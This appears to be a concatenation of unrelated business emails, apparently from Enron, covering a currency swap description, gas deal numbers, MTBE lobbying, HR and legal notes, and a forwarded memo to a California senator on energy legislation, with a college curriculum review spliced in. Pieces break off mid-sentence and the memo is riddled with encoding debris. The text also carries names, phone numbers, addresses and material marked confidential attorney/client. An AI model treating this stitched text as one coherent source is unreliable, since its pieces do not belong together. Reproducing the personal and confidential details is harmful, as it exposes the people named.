Subject: REVISED - EOL description change

Please approve the following change to the product description.  If you have 
any questions please let me know.  Steve needs this approved as soon as 
possible.  I need to make sure this language works for both one day deals and 
term deals.

Thanks,

Melba
58986

 Bolded for your ease of reference:

From:

A currency Transaction with Risk Management & Trading Corp. ("RMT") under 
which either (A) for the case in which Counterparty submits an offer to buy 
from RMT, Counterparty shall pay a Fixed Amount and shall receive the 
Floating  Amount, or (B) for the case in which Counterparty submits an offer 
to sell to RMT, Counterparty shall receive the Fixed  Amount and shall pay 
the Floating  Amount. Each calendar month during the term of the Transaction 
will be a Determination Period; provided however, that in the event the term 
of the Transaction is less than one calendar month, the Determination Period 
shall be the term of the Transaction. The Notional Amount per Determination 
Period shall equal the volume submitted by the Counterparty via the website 
divided by the number of Determination Periods during the term of the 
Transaction. The Fixed  Amount payable per Determination Period shall equal 
the product of  the Notional Amount per Determination Period multiplied by 
the price submitted by the Counterparty via the website. The Floating Amount 
payable per Determination Period shall equal the product of the Notional 
Amount per Determination Period multiplied by the Index. The Payment Date 
shall be the Valuation Date. 

The term of the Transaction shall be from the Effective Date of 01 Nov 2000 
to the Termination Date of 31 Mar 2001.

The Index for each Determination Period shall be the USD/CAD rate equal to 
the rate set forth on Rueters page BOFC under the headings 'Bank of Canada'; 
'Canadian Dollar' Exchange rates';'Noon', opposite the caption 'USD' as of 
12:00 p.m. noon, Toronto time, on the Valuation Date. The Valuation Date for 
each Determination Period shall be the last Business Day of such 
Determination Period.(DELETED)
The price is quoted in Canadian Dollars per unit of volume, which will be the 
The unit of measure against which the price is quoted shall be US Dollars, 
and each unit of volume shown represents one million US Dollars ($1,000,000).

To:

shall be the Valuation Date. The Valuation Date for each Determination Period 
shall be the first Business Day of such Determination Period.(Added)

12:00 p.m. noon, Toronto time, on the Valuation Date. 

Thank you,

Melba
58986 

Greetings:  Hope all's going well in your new venture (or semi-new venture at this point).  You finishing this semester? Anyway, I was reading this press account and was wondering if you new this fellow when you were at Lehman.  If so, any insights?  Sort of an interesting career path.  Say hi to your better half.
Best,
Jeff
California Power Authority Taps SFPUC's Berry as New CFO
SAN FRANCISCO -- Bill Berry will soon leave his job with San Francisco's public utility commission to head up finances for California 's newly formed power authority, which is authorized to issue $5 billion in revenue bonds. 
The board of the California Consumer Power and Conservation Financing Authority on Friday selected Berry as its first chief financial officer. He will start in his new position in early November. 
The authority was established earlier this year as a result of the state's energy crisis, and is charged with promoting energy conservation efforts and increasing California 's capacity to generate electricity . 
Berry is currently the assistant general manager of finance and administration at the utility commission, which provides water and sewer services to the city and some neighboring counties, as well as hydroelectric power for San Francisco government operations. 
Berry has been at the SFPUC since 1999, overseeing finance, personnel and training, information technology, and customer service. He also helped develop the commission's long-range strategic plan and 10-year capital improvement program, which may eventually entail requests for voters to approve more than $4 billion in bonds. 
Berry worked for a start-up Internet company in Palo Alto from 1996 to 1998 before joining the commission. 
From 1985 to 1996, Berry was an investment banker at Lehman Brothers in San Francisco, specializing in financing municipal and state-owned power, water, and wastewater systems, according to a release from the power authority. 
He also managed debt financing, financial planning, investment portfolios, and investor relations while a vice president of corporate finance for the New York Power Authority from 1979 until 1985. He helped develop the authority's first conservation program. 
In his new postion as CFO, Berry will earn $185,000 annually. 
Calls to Berry and the SFPUC seeking comment were not returned by press time.

This deal (#227738) was booked in our system on Jan 17th.  According to my 
notes, this is an "unwind" for AK Steel.  It was done as a physical fixed 
price deal and it goes through September.  The volume is 5,000 per month for 
April through August and 20,000 per month for September.

CES sold the physical gas back to ENA.  The only gas CES has are the Exhibit 
1 volumes.  So I created a sell (#226553) to CES for the same volume at a  
price of IF CGAS + $.0075.

The deal numbers for March are 157559 and 205228.

dkinney@columbiaenergygroup.com on 08/03/2000 06:57:54 AM
To: " - *Chris.Germany@enron.com" <Chris.Germany@enron.com>
cc: " - *Simien, Ernie" <esimien@columbiaenergygroup.com>, " - *Destephanis, 
Kara" <kdestep@columbiaenergygroup.com>, " - *Contos, Richard" 
<rcontos@columbiaenergygroup.com>, " - *scott.goodell@enron.com" 
<scott.goodell@enron.com> 
Subject: Invoice Question

Chris--There is a recurring set of monthly transactions on ENA's invoices that
I don't recognize.  Perhaps you can help me understand what they are.   In 
each
case, CES is invoiced for purchasing approximately 4,000 to 5,000 Dth/month at
TCO pool at an IF TCO Appl index price.   The Sitara # for this transaction is
SA-226553.  Then, this same monthly volume is re-purchased by ENA at a fixed
price.  The Sitara # for the "buy-back" is SA-227738.

Do these transactions have something to do with the physical gas that we have
purchased from ENA for our retail customer retention activities?

Thanks.

Rick

I thought I would give you an update on what I am doing from a systems 
perspective.  I'm trying to get a systems plan together from Beth.  We simple 
do not have one.  From there I will coordinate with traders and back office 
to try to create a plan that everyone can by off on.  My new motto is 
"Systems will be fixed or people will die".  I will keep you informed.

John

You didn't attach anything.

From: 	Darrin Presto <Darrin_Presto@RSD.EDU>@ENRON [mailto:IMCEANOTES-Darrin+20Presto+20+3CDarrin+5FPresto+40RSD+2EEDU+3E+40ENRON@ENRON.com] 
Sent:	Tuesday, June 19, 2001 7:26 PM
To:	Presto, Kevin M.
Subject:	RE: Wolf -Reply

Kev,

Tell me what you think.  Is it necessary to have a better resume
format?

DP

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Not that I know of.  Michelle

From: 	Sullivan, Kriste  
Sent:	Friday, August 10, 2001 11:32 AM
To:	Butler, Pam
Cc:	Barnard, Marla
Subject:	Confidential

Confidential Attorney/Client Communication:

Thank you for visiting with Marla re: Carolyn Barrett. I had previously spoken with Mary Joyce regarding the separation compensation and she was comfortable with the calculation, as well.  Let me know if any adjustment  is necessary? 

Kriste K. Sullivan
Enron Corp.  -  Legal
EB 4861
(713) 853-7557 Phone
(713) 646-5847 Fax

Rob:  Have you ever directly engaged counsel in New Guinea?  I have searched 
our jurisdictional database but to no avail.  I only find Australian firms 
with New Guinea associations.  Thanks.  Sara

Stan:

I have not talked directly with Coastal about their specific approach, but am 
aware of efforts to find tax relief for conversion of MTBE facilities to 
alkalytes.   This is also an option that has been discussed in the OFA and 
MTBE Producer groups.   It certainly could be a viable "fallback" position to 
stranded cost recovery.

However, Coastal is very differently situated than Enron in terms of stranded 
costs or liability protection.   Refiners can't make as good a case for 
stranded costs as the merchant producers of MTBE who developed unique 
facilites directly in response to the Clean Air Act oxygenate mandate.   On 
liability protection, refiners and marketers are more directly responsible 
for groundwater contamination with MTBE because they have the leaking tanks 
-- so they have what could be characterized as "contributory negligence", 
where MTBE producers do not.

I agree with Steve Kean's response -- going after liability protection is 
probably going to be more viable than finding stranded costs.   We will keep 
pressing both issues, and distinguishing ourselves as one of the "good 
actors" that responded to the Clean Air Act to produce MTBE and has not 
contributed to gasoline spills.

 In terms of conversion to alkalytes, one of the complicating factors is the 
"tax" angle.   In all the current legislative efforts in the House and 
Senate, the sponsors are avoiding inclusion of tax provisions so that the 
bills do not have to go through review by the separate tax committees, which 
would delay the legislation probably to its demise.   Passing separate tax 
legislation that contains alkalyte conversion provisions may also be 
difficult -- in general, it will be hard for Congress to pass even modest tax 
legislation this year.   

If this emerges as a viable strategy, however, I think it is worth 
consideration.   I will talk with Coastal to see what their strategy is and 
follow up with you and Jim Prentice to see if it's appropriate to pursue.

Jeff

04/10/2000 05:49 PM
Sent by: Cindy Stark
To: Jeffrey Keeler/Corp/Enron@ENRON
cc: Cynthia Sandherr/Corp/Enron@ENRON, Steven J Kean/HOU/EES@EES, Shelley 
Corman/ET&S/Enron@ENRON 

Subject: MTBE

Jeff:

At the fundraiser for Senator Thomas, I had the opportunity to discuss with 
David Arledge (Coastal Corp's Chairman & CEO) the MTBE issue.

Coastal's position is somewhat different than Enron's.  Coastal is advocating 
some sort of tax relief on alkalytes, which is the product they would convert 
their plant to produce.  They also advocate protection of litigation.

David believes that Congress cannot approve a multi-million dollar bailout of 
MTBE producers but can pass a tax relief bill that would encourage MTBE 
producers to convert their plants.

Two questions for you:   1) What do you think of Coastal's approach? and  2) 
Have you discussed the approach with Coastal?

Stan

My paycheck doesn't seem to be anywhere around here. Could you let me know if 
my name was on the list of missing paychecks for the end of last month? Kathy 
Axford said she gave you such a list on 12/30. 

Thanks,
Kate

Marla Barnard (marla_barnard@enron.net)
Vice President - Human Resources
713-345-8158 (Office)
713-646-2678 (Fax)

sidelines, could see some more up. if we finish strong today, 

From: Fenner, Chet [mailto:Chet_Fenner@bmc.com]
Sent: Monday, June 17, 2002 12:03 PM
To: Parks, Joe
Subject: DIA

What's story?  This opportunity to sell short/buy puts?

Daren:
 Here is a list of some potential new volume (not on Vances list)

  Atmic-Hurta #1  10,000 MMbtu/d
  Royal Production-Wilson Unit #1  2-3,000 MMbtu/d

 Let me know if you need anything else,
  Susan Smith
  x 33321

The ISDA can be forwarded to Ron at the following addresses:

RVDH@voselectric.com

or PCDI
2079-A Lawrence Drive
DePere, WS  54115

If you have any questions, please do not hesitate to contact me at extension 
37425 or if I'm not at me desk I can be reached on my mobile at (713)553-1711.

JBB

A Summary of the Written Comments from our Members and
A Couple of Faculty Members
General Education
Structure: The four-year program with its existing rubric-scheme seems to
make sense, as long as it is an integrated, coherent and distinctive
program. The relation between the general education and majors needs to be
examined and an authoritative body should be charged with the responsibility
of continuously reviewing all programs and the curriculum. There is a
suggestion that Sophomore and Junior level Seminars should be introduced.

According to our catalog (p. 16), the requirements of a Monmouth College
degree involves:
1. Four years of academic work earning at least 124 semester hours.
2. Completion of Freshman Seminar
3. Completion of a major program, and
  4. Completion of the five components of the general
education program:  Language, The Physical Universe and its Life Forms,
Beauty and Meaning in the Works of Art, Human Societies, and Issues and
Ideas.
One comment is that the present rubric scheme is woefully inadequate to the
understanding of the Self for which we need to address metaphysical issues,
epistemological questions, and issues of God, spirit and man.

Freshman Seminar
Monmouth College introduced this course in the early eighties and several
schools have added similar courses to their curriculum in subsequent years.
There seems to be a strong commitment among the faculty and administration
to continue to develop and teach this course. The following are some of the
comments and suggestions:
1.  It is very resource intensive, is trying to do too many things in one
semester, and is quite regimented in its organization and delivery.
Instructors need some flexibility after establishment of clear, limited and
common goals for the course.
2.  We should commit more resources to this venture and a greater proportion
of senior faculty should teach this course.
3.  More stipends and/or release times are needed for the faculty to
continue the development of this course and to provide shadowing experience
to new faculty members who are interested in teaching it.

Language
This component generally makes sense - keep, strengthen and change it. There
is a suggestion to reduce the foreign language requirement and to introduce
more courses on foreign cultures and traditions.
There is an almost universal agreement that our graduates need more
experience in writing, in its several forms, composition, creative writing,
technical writing etc. We think our task force needs to examine carefully
(possibly with a consultant) the concept of Awriting across the curriculum@
and find ways of incorporating it in our academic program.  There is also a
suggestion that we should require composition courses at the Junior and
Senior levels.

Beauty and Meaning in the Works of Art
This component seems to work well. There is a call for a wider range of
choice of courses in this rubric. Perhaps, we should consider some courses
on aesthetics.

Physical Universe and its Life Forms
This component also seems to be working well. The assessment of this rubric
last semester did not call for any radical changes. The Assessment Committee
is satisfied with the goals, concept and delivery of this component. Some
questions were raised on the understanding of the scientific method by our
students.

Scientific literacy is very important in this technological age. Do students
understand the relation between science and technology? There is a call for
courses on History or Philosophy of Science and Science & Society offered by
HT folks.

Human Societies
There is much dissatisfaction with the menu of courses offered beyond
Comparative Societies. This smorgasbord of courses can be replaced by a
slate of 5 to 7 courses, with multiple sections, which address spirituality
in different ways. Another suggestion is to limit this menu to a set of
Introduction to Social Sciences courses and to make Comparative Societies
value-based. It should be noted that our assessment program indicates that
our fifth purpose of exploring Athe spiritual dimension of human existence
and the relationship between faith and knowledge@ is not being addressed by
our academic curriculum.

Issues and Ideas
This course is supposed to provide the culminating experience in our general
education program. It seems to be working well. Can we develop some common
goals for the 15 to 20 courses offered under this rubric? Should we go back
to the two-course Systems of Thought and Belief mode?

Majors
We should plan to review all the current majors. We should strive to provide
a state of the art emphasis in most majors (eg. Molecular Biology,
Computational Dimension in Natural Sciences, Media Concentration, Public
Relations, Sports Management etc.) According to AAC&U, there is a Amuddle in
the middle@ in most major programs. Is there coherence and integration
within the disciplines? How do the majors relate to the general education?
We are expected to make recommendations for adding, modifying, and
eliminating course offerings and programs. May be, when more majors become
attractive and cutting edge, they will stem the tide towards Business and
Education!

Further Suggestions
1.  There is wide support for introducing a Quantitative Reasoning
requirement in our curriculum. There is a relevant article in our red
folder. We may have to look at Abest practices@ in peer institutions and
work with a regional consultant to see how this can be implemented.
2.  How do we educate our students to make value-based decisions in this
fast-changing and complex world? Many schools have introduced Ethical
Inquiry/Moral Reasoning requirement in their curriculum. There are two
relevant articles in our red folder. Again, we may want to look at Abest
practices@ in peer institutions or work with a regional consultant to see
how this can be implemented.
3. We need to introduce course requirements under the broad category of
Internationalization, Globalization and Cultural Diversity in our
4. Do we need to develop courses that explicitly deal with Modes of Inquiry,
Critical Thinking, Logical Reasoning, Problem Solving etc.?

Other General Considerations Related to Curricular Review
1.  The six questions Dean Arnold has raised on the articulation of our
curricular goals, understanding the needs of our students and the world they
are entering into and the allocation of resources.
2.  The implications of the Teagle grant - Adoing nothing is not a viable
option@ and if we come up with strong initiatives, management support may be
forthcoming.
3.  Simplify the process for curricular initiatives, streamline the budget
process and review our style of management.
4.  There is no ongoing support for Instruction Technology and our current
policies and procedures continue to frustrate folks, especially some of our
newer faculty.
5. Our semester schedule is anathema to aims of a serious, liberal arts
education: the semester system breeds fragmentation, superficiality,
freneticism, hyperactivity and resentment.
5.  We need to continue to address the work load issue.

FYI.  I had started an informal discussion group to work on 
political/regulatory risk..  I included Jane, Jim Bouillian, and Scott Gahn.  
Jane sent me the atached as an example of how her group approaches issues in 
the acquisition context.
---------------------- Forwarded by Steven J Kean/HOU/EES on 03/10/99 06:03 
From: "Jane Wilson/ENRON_DEVELOPMENT" AT ENRON_DEVELOPMENT@CCMAIL on 01/14/99 
12:41 PM
To: Steven J Kean, James L Bouillion, Scott Gahn, Richard Shapiro
cc:  
Subject: Risk Matrix

Subject:
Risk Matrix

Attached is a sample draft risk matrix that my group does on a regular basis 
in the process of regulatory due diligence.

(See attached file: Guatemalariskmetrix.doc)
 - Guatemalariskmetrix.doc

Julie,

We received the shipment of 50 books. Thanks.

The book was an instant hit. We need 50 more books.

Vince

P.S. I understand Paul sent you the check for the remaining 50%

=09Richard Shapiro
=0902/21/2001 04:50 PM
=09=09=20
=09=09 To: Ginger Dernehl/NA/Enron@Enron
=09=09 Subject: California

Please distribute to entire group - recent talking points and proposals re:=
=20
California .
---------------------- Forwarded by Richard Shapiro/NA/Enron on 02/21/2001=
=20
From: Jeff Dasovich on 02/16/2001 08:49 AM
Sent by: Jeff Dasovich
To: Sandra McCubbin/NA/Enron@Enron, Susan J Mara/NA/Enron@ENRON,=20
MDay@GMSSR.com, Hedy Govenar <hgovenar@mail.acom2.com> @ ENRON, Scott Goven=
ar=20
<sgovenar@govadv.com>, Paul Kaufman/PDX/ECT@ECT, James D=20
Steffes/NA/Enron@Enron, Harry Kingerski/NA/Enron@Enron, Richard=20
Shapiro/NA/Enron@Enron, skean@enron.com, mpalmer@enron.com, Karen=20
Denne/Corp/Enron@ENRON, BTC <BCragg@GMSSR.com>
cc: =20

Subject: Ken Lay's email to Sen. Brulte

=09

Greetings All:

First, I am apologizing in advance for any typos in this email.  Schedule i=
s=20
very tight, but I wanted to make sure that everyone had it first thing this=
=20
morning, with some back-up info that I've included below.

Attached is the email that was sent to Ken Lay's office yesterday evening f=
or=20
delivery to Sen. Brulte.  It's of course confidential.  Few points:

I don't have Bev's email, so if you could please forward to her, that would=
=20
be appreciated.
As we discussed (Jim, Mike, Bev, Scott, Hedy) on our lengthy call on=20
Wednesday, I'm assuming that the plan is still to "wallpaper" Sacramento wi=
th=20
our proposed legislation.
This email does not contain the legislation.  Mike sent the "final" version=
s=20
of our legislation out yesterday, except for the siting piece, which I=20
believe Brian Cragg of Mike's office is finalizing today.
You'll note that we promise Senator Brulte in the email that we'll deliver =
to=20
his office today the proposed legislation.  Again, based on our call on=20
Wednesday, I'm assuming that we would simultaneously release the proposed=
=20
legislation to the rest of the world at the same time.
When we spoke on Wednesday, we decided that the Sacramento team would=20
determine to whom we would circulate the proposed legislation at the same=
=20
time that we deliver the Senator Brulte. I'm assuming that you folks will=
=20
handle that end of things.  Please let us know at your convenience to whom=
=20
you've decided to circulate.
This email does, however, include a "summary" of our proposed legislation. =
=20
But I'm not certain that the summary included in this email is the=20
appropriate language to distribute "to the world," or if we'll need instead=
=20
to tailor some new language.  I think we all agreed that we need a "one=20
pager" to accompany the legislative package so that we can communicate the=
=20
package effectively.
We also discussed the need to quickly develop a coalition to support our=20
proposals.  We didn't finalize that plan.  Perhaps the Sacramento team coul=
d=20
propose a plan to do that.  Perhaps we could start with our friends in the=
=20
Direct Access coalition?
We also talked about the need at this point to engage in PR and to get the =
PR=20
machinery activated, also with the goal of effectively communicating our=20
legislative package/message.  We're in a meeting with folks today where we=
=20
can discuss getting that side of things going and Karen Denne has contacted=
=20
Marathon and they're pondering some things that we can do in the near term.
You'll note that there's a considerable amount of information about the DWR=
=20
credit issue.  As I recollect, we discussed the issue in depth on the call.=
 =20
You note that attached to the email is a "legislative fix" to AB1X that cou=
ld=20
solve the credit issue and an attached set of "taking points" related to a=
=20
second alternative to solving the credit issue:  a PUC order clarifying tha=
t=20
DWR will get its money for power purchase costs.
Note also that Steve Kean reminded me that we've got to continue to push to=
=20
get the utilities out of the merchant function.  Accordingly, I've put a=20
brief paragraph on that issue in the note to Brulte in the last section=20
(legislative solution) under the topic "create a real competitive retail=20
market in California."  To the best of my knowledge, we don't have=20
legislative language on that piece yet, and it seems that we'll need to=20
discuss it in considerably more depth before doing so.

If you have any questions about any of the materials in the email, please=
=20
don't hesitate to contact me or Jim or Sandi to discuss.  I can be best=20
reached to day by pager at 888.916.7184. =20

Thanks to all for helping pull this together.

Best,
Jeff

----- Forwarded by Jeff Dasovich/NA/Enron on 02/16/2001 08:27 AM -----

=09Jeff Dasovich
=09Sent by: Jeff Dasovich
=0902/15/2001 06:11 PM
=09=09=20
=09=09 To: jdasovic@enron.com, skean@enron.com, Richard Shapiro/NA/Enron@En=
ron,=20
James D Steffes/NA/Enron@Enron
=09=09 Subject:=20

Steve:
Here's a substantially more cleaned-version, with attachments.  There's a=
=20
hard copy on your chair.

Best,
Jeff
----- Forwarded by Jeff Dasovich/NA/Enron on 02/15/2001 05:57 PM -----

=0902/15/2001 05:56 PM
=09=09=20
=09=09 To: jdasovic@enron.com

Jim:
It was a pleasure speaking with you yesterday.  Based on our conversation,=
=20
this email includes the following:

An Enron contact to discuss developing small-scale generation on Tribal lan=
ds.

Our views on the impediments to distributed generation and suggestions on h=
ow=20
to remove those impediments.

A description of the credit issues that continue to impede DWR=01,s ability=
 to=20
sign contracts with power suppliers, and options to resolve them. Two=20
possible options for addressing the credit issue are 1) a California PUC=20
order clarifying that DWR will recover its power purchase costs through=20
rates, and 2) an amendment to AB1X designed to accomplish the same goal.  I=
=20
have attached talking points regarding the California PUC order and propose=
d=20
amendments to AB1X.  We believe that an amendment to AB1X is the preferable=
=20
option.

Our assessment of the supply/demand picture in California.

Our suggestions for a legislative package designed to solve both the near-=
=20
and long-term electricity crisis in California.  We will deliver to your=20
office tomorrow detailed legislative language.  In those materials we will=
=20
also identify existing bills that we believe can easily accommodate our=20
proposed language.

I hope that the information is useful.  Please do not hesitate to contact m=
e=20
if you would like to discuss these materials further, or if there is anythi=
ng=20
else that I can do to assist you.

Regards,
Ken

Contact Information to Discuss Interest Expressed by Native American Tribes=
=20
in Installing Small-scale Generation on Tribal Lands

David Parquet, Vice-President
101 California Street, Suite 1950
Phone: 415.782.7820
Fax: 415.782.7851

2. Key Barriers to Distributed Generation

Excessive and Unnecessary Utility Stand-by Charges

Solution: The executive orders issued by the Governor on February 14th took=
 a=20
step in the right direction.  Utility stand-by charges have always been=20
designed by the utilities to protect their monopoly position, extract=20
monopoly prices from customers, or both.  But there is no reason to limit t=
he=20
elimination of these charges to generation facilities that are less than=20
1MW.  These limits will only lengthen unnecessarily the time it takes for=
=20
California to close the significant gap between supply and demand and reduc=
e=20
the risk of black outs this summer.  We would propose lifting the cap by=20
offering amendments to SB27X, which is designed to facilitate development o=
f=20
distributed generation.
=20
Excessive delays and costs related to interconnecting facilities with=20
investor-owned and municipal utilities

Solution:   The Governor=01,s executive order regarding interconnection is =
a=20
step in the right direction=01*D-D-26-01 requires utilities to complete=20
interconnection studies within 7 days.  California should ensure that this=
=20
requirement applies to all generation facilities, including distributed=20
generation.  In addition, the financial conflicts the utilities face when=
=20
interconnecting generation facilities are simply too powerful to overcome=
=20
through executive orders or other regulations.  To the greatest extent=20
possible, California should shift control over interconnection away from th=
e=20
utility and place that control with the California ISO.  This could be=20
accomplished through amendments to SB 27X.

Permitting and Air Quality Issues
Developers of distributed (i.e., =01&on-site=018) generation that is 50 MWs=
 or=20
greater must receive certification from the California Energy Commission an=
d=20
therefore face all of the impediments to development that large-scale=20
generation faces. =20

Solution: California should ensure that the executive orders (D-22-01 thru=
=20
D-26-01) issued by the Governor to expedite plant siting and maximize plant=
=20
output apply equally to smaller scale, =01&distributed generation=018 facil=
ities.=20
In addition, distributed generation that is less than 50 MWs continues to=
=20
face local opposition.  The State should ensure that local, parochial=20
interests cannot block otherwise beneficial distributed generation projects=
. =20
These objectives could be accomplished through amendments to SB27X.

3. Credit Concerns Regarding Authority Granted to DWR in AB1X to Purchase=
=20
Electricity on Behalf of the Utilities=20

Enron responded to the RFP issued by DWR to enter into power contracts with=
=20
suppliers.
Enron is in active discussions with DWR to establish contract terms with th=
e=20
goal of entering into a power purchase agreement as soon as possible.
However, ambiguities contained in AB1X have created significant credit risk=
=20
concerns that need to be resolved in order to finalize contract terms.
We understand that the lion=01,s share of counterparties share Enron=01,s c=
redit=20
risk concerns.
Enron has proposed several options for resolving the credit risk issues and=
=20
is working with DWR to arrive at a solution that is mutually agreeable to=
=20
both sides and that might serve as a template for power purchase agreements=
=20
going forward.

Summary of the Source of the Credit Risk Issue

Ambiguous Ratemaking Authority
The language in AB1X is ambiguous as to whether DWR has any authority to=20
charge California ratepayers for the costs of purchasing power.  From our=
=20
analysis of the bill, the language in AB1X appears to leave intact the=20
California PUC=01,s exclusive jurisdiction over ratemaking in California.  =
As=20
such, suppliers have no assurance that the PUC will agree to include in rat=
es=20
adequate charges to cover DWR=01,s costs of power purchases.

Ambiguous Regulatory Authority Regarding Contract =01&Prudence=018
The language in AB1X leaves open the possibility that the California Public=
=20
Utilities Commission could determine that power purchases made by DWR are=
=20
=01&imprudent.=018  On the basis of such a finding, the CPUC could then ref=
use to=20
allow DWR to collect from ratepayers the costs associated with its power=20
purchases.  Consequently, suppliers have no assurance that the PUC will agr=
ee=20
to include in rates the charges to cover the costs of power contracts that=
=20
DWR has entered into with suppliers.
=20
Ambiguous Language Regarding the Ratemaking Mechanism that Will Be Used to=
=20
Recover DWR=01,s Costs of Power Purchases
In addition to the ambiguity regarding ratemaking and regulatory authority=
=20
noted above, the language in the bill is equally ambiguous with respect to=
=20
the specific ratemaking =01&mechanics=018 that AB1X directs the PUC to empl=
oy to=20
permit DWR to recover its power purchase costs. Based on our analysis, it i=
s=20
extremely difficult to determine how the PUC would design the rates to ensu=
re=20
DWR recovers its power purchase costs.  Moreover, as currently drafted, it =
is=20
difficult to determine whether AB1X would even permit the PUC to include in=
=20
rates all of the charges necessary to fully recover DWR=01,s power purchase=
=20
costs.  Again, this ambiguity raises significant credit risk concerns since=
=20
suppliers have little assurance that DWR will have the ability to recover=
=20
from ratepayers the costs of purchasing power.

Options to Resolve Concerns Regarding Credit Risk=20

We have been working diligently with DWR officials to resolve the credit ri=
sk=20
issues.  We have identified three options:

Amend AB1X
The amendments, which are attached to this email, would clarify that a) the=
=20
PUC would accept as =01&prudent and reasonable=018 all purchase costs incur=
red by=20
DWR, and b) the PUC is obligated to include in rates the charges necessary =
to=20
ensure that DWR fully recovers its costs of power purchases.  This is the=
=20
preferred option, though we understand that the there may be some political=
=20
challenges standing in the way of amending AB1X.  (See attached file=20
entitled, =01&AmendAB1X.doc=018.)

Clarify the Ambiguities in AB1X through an Order Issued by the PUC, and=20
through Contract Language
This is the option that we are currently working with DWR officials to=20
implement.  However, it is more complicated and could take significantly mo=
re=20
time to implement than the "legislative" fix.  We have attached electronic=
=20
copies of the talking points related to the order that the California PUC=
=20
would need to issue under this option.  (See attached file entitled,=20
=01&cpuctalkingpoints.doc.=018)

Make Use of Other Instruments Designed to Address Credit Risk
As indicated in our letter responding to DWR=01,s RFP, we are willing to ac=
cept=20
other forms of credit from DWR.  Those options include a letter of credit,=
=20
cash prepayment, or an acceptable form of collateral.  DWR officials have=
=20
indicated to us that DWR prefers to pursue the second options. That is, DWR=
=20
prefers to clarify the ambiguities in AB1X through a PUC order and through=
=20
contract amendments.

4. California=01,s Supply-demand Picture Heading into Summer 2001

Both the California Energy Commission and Cambridge Energy Research=20
Associates (CERA), a private sector energy think tank, have issued reports=
=20
showing that California faces a severe supply-demand imbalance.  They diffe=
r=20
only on how much and how soon additional supply will be made available.  Al=
l=20
credible sources agree that supply will be very tight throughout the Summer=
=20
of 2001 and that unless a solution is found immediately, blackouts are=20
likely. =20

CEC and CERA both forecast that California will be short of supply this=20
summer by approximately 5,000 MW.   These numbers are in line with our=20
estimates.  California=01,s supply base currently has a 6% capacity margin,=
 well=20
below the average 15-20%, which is recommended for reliable system operatio=
n=20
in the West.  Since the West relies more heavily upon hydroelectric power=
=20
than other regions, reserves are particularly important, owing to the=20
unpredictability of the weather and the dry year the West has experienced t=
o=20
date. In the event of a low rain and snow period, the system must possess t=
he=20
flexibility to respond to the reduced availability of power supply. =20
California=01,s very low reserve margin makes it especially susceptible to =
this=20
requirement. =20

Other reasons for reduced supply for the Summer of 2001 include the early=
=20
draw-down of reservoirs in the continual effort to manage California's seve=
re=20
supply-demand gap; emissions restrictions on existing plants; and a reduced=
=20
number of customers who can be curtailed under their contracts with the=20
utilities.  Cambridge Energy Research Associates asserts that at the curren=
t=20
pace of siting, permitting and construction, adequate supplies will not be=
=20
added to correct the market imbalance until 2003 at the earliest.

CERA predicts that California is likely to face approximately 20 hours of=
=20
rolling black outs this summer.  The CEC paints a considerably more=20
optimistic scenario, betting that California will bring an additional 5,000=
=20
MWs on line to meet peaking summer demand.  It is our view that California=
=20
should view the CEC's "rosy scenario" with considerable skepticism.

5. Suggested Package of Legislative Proposals Designed to Solve California=
=01,s=20
Electricity Crisis

This email offers an overview of our proposed legislative solution.  We wil=
l=20
deliver to your office tomorrow specific legislative language and existing=
=20
bills that we believe can accommodate our proposals.

As we have suggested throughout the crisis, any solution to California's=20
crisis must focus on four issues:

Increase supply
Decrease demand
Establish a truly competitive retail electricity market
Return California=01,s Investor-owned utilities to solvency

Increase supply--Legislative vehicle: SB28X (Sher)
To site and construct a power plant in Texas takes approximately 2 years. =
=20
Enron and others have completed the entire process in other states in less=
=20
than a year.  In California, it takes about six years, or longer.

The Governor=01,s executive orders and Senator Sher=01,s siting reform legi=
slation=20
are steps in the right direction.  Our suggested amendments can improve tho=
se=20
efforts by further addressing the difficulties that project developers face=
=20
in securing air emission reduction credits to meet the air permit=20
requirements included in the CEC's certification requirements.  Enron=01,s=
=20
proposal seeks to streamline the process for 1) obtaining credits and 2)=20
transfering credits between air districts.  In addition, it creates an=20
innovative emissions reduction bank to allow project sponsors to fund=20
emissions in advance of obtaining certification, and permits the affected a=
ir=20
districts to use those funds to finance projects that will produce the=20
required reductions in pollution emissions.

Decrease demand=01*Legislative Vehicle:   AB31X (Wright)
Because of the delay in getting a solution in place in California, closing=
=20
the supply-demand gap through energy conservation and efficiency offers the=
=20
best chance of avoiding blackouts this summer.  This can be accomplished mo=
st=20
effectively and quickly in two ways:

Buy-down demand
California is tapping into an enormous amount of money from the General Fun=
d=20
to finance DWR=01,s power purchases.  California could likely reduce demand=
 more=20
economically by running an auction to determine the payments businesses wou=
ld=20
be willing to receive to reduce their demand for a sustained period (e.g.,=
=20
through the summer months).  DWR could easily run an on-line auction to=20
determine the price it could pay for these demand reductions.  To=20
participate, businesses would be required to have the metering equipment=20
necessary to monitor and verify that they are actually achieving the=20
reductions.  Enron has developed an on-line auction software package, =01&D=
eal=20
Bench,=018 that it would be willing to contribute to the effort.

Use Price Signals to Incent Voluntary Curtailment
To be successful, customers need access to the following key elements:

An internet based hour-ahead price posting system to track the market price=
=20
for hour-ahead power in real time.=20
Real-time metering systems for baseline demand and voluntarily curtailment=
=20
verification.
Settlement process that allows for market clearing prices of energy to be=
=20
paid for load reduction (=01&Negawatts=018).

The potential benefits of an effective demand response program would includ=
e:

=01&creation=018 of additional summer peaking capacity in California, parti=
cularly=20
in the short term, without requiring construction of additional generation=
=20
reduction of  peak or super-peak load on the over-stressed California=20
electric system, thus potentially reducing the overall cost of electricity =
in=20
the state.
fostering of demand elasticity without subjecting customers to the full ris=
k=20
of hourly market price volatility by passing market price signals to=20
customers and allowing them to voluntarily shed load and be compensated for=
=20
responding.=20

We estimate that we could generate a summer 2001 on-peak demand response in=
=20
excess of 400 MW during certain high cost hours, and a demand response for=
=20
summer 2002 on-peak hours that could exceed 1000 MW.  We further estimate=
=20
that the market response to this program from all ESPs could be 2 to 3 time=
s=20
that amount.  We recommend that the State of California provide rebates=20
directly to customers to fund the installation of advanced metering and=20
control systems that would support load curtailment implementation.

Establish a truly competitive retail electricity market=01*Legislative vehi=
cle:=20
SB27X
The only customers who were protected from price volatility in San Diego we=
re=20
customers who chose Direct Access and signed fixed price deals with energy=
=20
service providers.  Ironically, AB1X takes that important option away from=
=20
customers and businesses.  It is critical that AB1X be amended to remove th=
e=20
prohibition against Direct Access.

Enron's legislative proposal would give customers freedom to enter into a=
=20
direct access transaction, while simultaneously addressing the Department o=
f=20
Water Resources' concerns about stranded power costs that might result from=
=20
customer migration. =20

In addition, California will only achieve a competitive retail market when=
=20
